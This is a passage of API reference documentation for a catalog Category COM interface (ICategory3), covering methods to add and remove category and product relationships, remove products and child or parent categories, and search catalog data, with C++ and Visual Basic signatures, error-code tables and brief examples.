[C++] ICategory3::SetRelatedCategories

[Visual Basic] Category Object

[Visual Basic] Category.RemoveRelationshipToCategory

[Visual Basic] Category.SetRelatedCategories


ICategory3::AddRelationshipToProduct Method [C++]

Category.AddRelationshipToProduct Method [Visual Basic]

Use this method to add a relationship between the specified product and this category.

Definition

[C++]
HRESULT ICategory3::AddRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strCatalogName
);
[Visual Basic]
Sub AddRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  Optional strCatalogName As String
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the name of the product to which a relationship is to be added.
varRelatedProductID [Visual Basic]
A Variant that contains the name of the product to which a relationship is to be added.
strRelationshipName [C++]
[in] A BSTR that contains a name for the relationship.
strRelationshipName [Visual Basic]
A String that contains a name for the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT that contains an optional description for the relationship.
strRelationshipDescription [Visual Basic]
A Variant that contains an optional description for the relationship.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog that contains the related product.
strCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the related product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C++] 0x88980055 [Visual Basic] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C++] 0x8898011B [Visual Basic] &H8898011B | A virtual catalog’s included relationships cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

In order for this method to complete successfully, the product identified must already exist.

A relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on").

When multiple relationships are created between a category and product, each relationship must have a unique name.

If the strCatalogName parameter is empty or not supplied, then the catalog that contains this category is assumed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddRelationshipToProduct "SKU4005", "Accessory", "This would go great with that"

See Also

[C++] Category Object

[C++] ICategory3::RemoveRelationshipToProduct

[Visual Basic] Category Object

[Visual Basic] Category.RemoveRelationshipToProduct


ICategory3::RemoveChildCategory Method [C++]

Category.RemoveChildCategory Method [Visual Basic]

Use this method to remove a category that is a child of this category.

Definition

[C++]
HRESULT ICategory3::RemoveChildCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub RemoveChildCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be removed as a child of this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be removed as a child of this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the RemoveChildCategory method to remove a child category from this category. If the category specified in the strCategoryName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the child-category relationship is inherited from a base catalog. If the relationship was added in the virtual catalog it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveChildCategory "T-Shirts"

See Also

[C++] Category Object

[C++] ICategory3::AddChildCategory

[C++] ICategory3::RemoveParentCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddChildCategory

[Visual Basic] Category.RemoveParentCategory


ICategory3::RemoveParentCategory Method [C++]

Category.RemoveParentCategory Method [Visual Basic]

Use this method to remove the specified category as a parent of this category.

Definition

[C++]
HRESULT ICategory3::RemoveParentCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub RemoveParentCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be removed as a parent to this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be removed as a parent to this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the RemoveParentCategory method to remove a parent category from this category. If the category specified in the strCategoryName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the parent-category relationship is inherited from a base catalog. If the relationship was added in the virtual catalog it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveParentCategory "Apparel"

See Also

[C++] Category Object

[C++] ICategory3::AddParentCategory

[C++] ICategory3::RemoveChildCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddParentCategory

[Visual Basic] Category.RemoveChildCategory


ICategory3::RemoveProduct Method [C++]

Category.RemoveProduct Method [Visual Basic]

Use this method to remove a product from this category.

Definition

[C++]
HRESULT ICategory3::RemoveProduct(
  VARIANT varProductID
);
[Visual Basic]
Sub RemoveProduct(
  varProductID As Variant
)

Parameters

varProductID [C++]
[in] A VARIANT that contains the product ID.
varProductID [Visual Basic]
A Variant that contains the product ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the product was added to the category in a base catalog. If the product was added in the virtual catalog it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveProduct "Widget"

See Also

[C++] Category Object

[C++] ICategory3::AddProduct

[Visual Basic] Category Object

[Visual Basic] Category.AddProduct


ICategory3::RemoveRelationshipToCategory Method [C++]

Category.RemoveRelationshipToCategory Method [Visual Basic]

Use this method to remove a relationship between the specified category and this category.

Definition

[C++]
HRESULT ICategory3::RemoveRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  strCatalogName As String)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the related category.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the related category.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog containing the name of the related category.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the related category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The RemoveRelationshipToCategory method removes a relationship between this category and the category named in the strRelatedCategoryName parameter. Since more than one relationship may exist between these two categories, you must also specify the name of the relationship you want to remove in the strRelationshipName parameter. If the category specified in the strRelatedCategoryName parameter does not exist or the relationship specified in the strRelationshipName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveRelationshipToCategory "Gadget", "Accessory"

See Also

[C++] Category Object

[C++] ICategory3::AddRelationshipToCategory

[C++] ICategory3::RemoveRelationshipToProduct

[Visual Basic] Category Object

[Visual Basic] Category.AddRelationshipToCategory

[Visual Basic] Category.RemoveRelationshipToProduct


ICategory3::RemoveRelationshipToProduct Method [C++]

Category.RemoveRelationshipToProduct Method [Visual Basic]

Use this method to remove a relationship between the specified product in the specified catalog and this category.

Definition

[C++]
HRESULT ICategory3::RemoveRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String
  strCatalogName As String
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the ID of the related product.
varRelatedProductID [Visual Basic]
A Variant that contains the ID of the related product.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship.
strCatalogName [C++]
[in] A BSTR that contains the name of the catalog containing the name of the related product.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the related product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The RemoveRelationshipToProduct method removes a relationship between this category and the product identified by the varRelatedProductID parameter. Since more than one relationship may exist between this category and product, you must also specify the name of the relationship you want to remove in the strRelationshipName parameter. If the product specified in the varRelatedProductID parameter does not exist or the relationship specified in the strRelationshipName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveRelationshipToProduct "Gadget", "FeaturedProduct"

See Also

[C++] Category Object

[C++] ICategory3::AddRelationshipToProduct

[Visual Basic] Category Object

[Visual Basic] Category.AddRelationshipToProduct


ICategory3::Search Method [C++]

Category.Search Method [Visual Basic]

Use this method to perform queries against product, variant, and category data in this category, and, optionally, all of the descendent categories for this category.

Definition

[C++]
HRESULT ICategory3::Search(
  VARIANT strSQLClause,
  VARIANT strFTSPhrase,
  VARIANT_BOOL fRecursive,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function Search(
  Optional strSQLClause As Variant,
  Optional strFTSPhrase As Variant,
  Optional fRecursive As Boolean,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As Recordset

Parameters

strSQLClause [C++]
[in, optional] A VARIANT that contains the SQL search query.
strSQLClause [Visual Basic]
A Variant that contains the SQL search query.
strFTSPhrase [C++]
[in, optional] A VARIANT that contains the free-text search phrase.
strFTSPhrase [Visual Basic]
A Variant that contains the free-text search phrase.
fRecursive [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether the query is recursive, that is, whether the scope of the query includes all descendent categories. A value of True (-1) indicates that the query is recursive. A value of False (0) indicates that the query is not recursive.
fRecursive [Visual Basic]
A Boolean that specifies whether the query is recursive, that is, whether the scope of the query includes all descendent categories. A value of True indicates that the query is recursive. A value of False indicates that the query is not recursive. The default value is True.
eClassTypeRequired [C++]
[in, optional] A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return as a comma-separated list.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return as a comma-separated list.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records matching the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records matching the query.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the search results.

The following table describes the COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SEARCH_CLAUSE | [C++] 0x8898011C [Visual Basic] &H8898011C | The search condition that you specified is invalid for one of the following reasons: It contains -- or /* which should not be used outside of property names and property values The parentheses in the search condition do not match in number or alignment.
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully.

This method is very similar to the ICatalogManager3.Query method. The primary difference is that this method returns results limited to a single category, and, optionally all the descendent categories for this category. Multilingual results will be returned in the language specified by the IProductCatalog3::get_Language method of the catalog that contains this category.

[Visual Basic]

The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully.

This method is very similar to the CatalogManager.Search method. The primary difference is that this method returns results limited to a single category, and, optionally all descendent categories for this category. Multilingual results will be returned in the language specified in the ProductCatalog.Language property of the catalog that contains this category.

The Search method is used to perform arbitrary lexical comparisons on both words and phrases, product, product-variant, and category data in one or more catalogs. It combines the functionality of the Query method and the FreeTextSearch method.

The strSQLClause and strFTSPhrase parameters are both optional, but at least one of them must be supplied. If you only supply the strSQLClause parameter, this method acts like the Query method. If you only supply the strFTSPhrase parameter, this method acts like the FreeTextSearch method. If you supply both parameters, then only data that satisfies both search conditions will be returned. This allows you to construct sophisticated and very specific searches.

The strPropertiesToReturn parameter is optional and defaults to all properties.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
Set rsResults = myCategory3.Query("[Productid]='blue suede'", "slightly scuffed", True, cscProductClass, "Price, SKU, Size", "SKU", TRUE, 1, 25, plTotalRecordsInQuery)

See Also

[C++] Category Object

[Visual Basic] Category Object

CatalogManager.Search


ICategory3::SetCategoryProperties Method [C++]

Category.SetCategoryProperties Method [Visual Basic]

Use this method to set values for the properties of this category.

Definition

[C++]
HRESULT ICategory3::SetCategoryProperties(
  _Recordset* pRSCategory,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetCategoryProperties(
  pRSCategory As Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSCategory [C++]
[in] A reference to a Recordset object that contains the properties for this category.
pRSCategory [Visual Basic]
A Recordset object that contains the properties for this category.
fForceUpdate [C++]
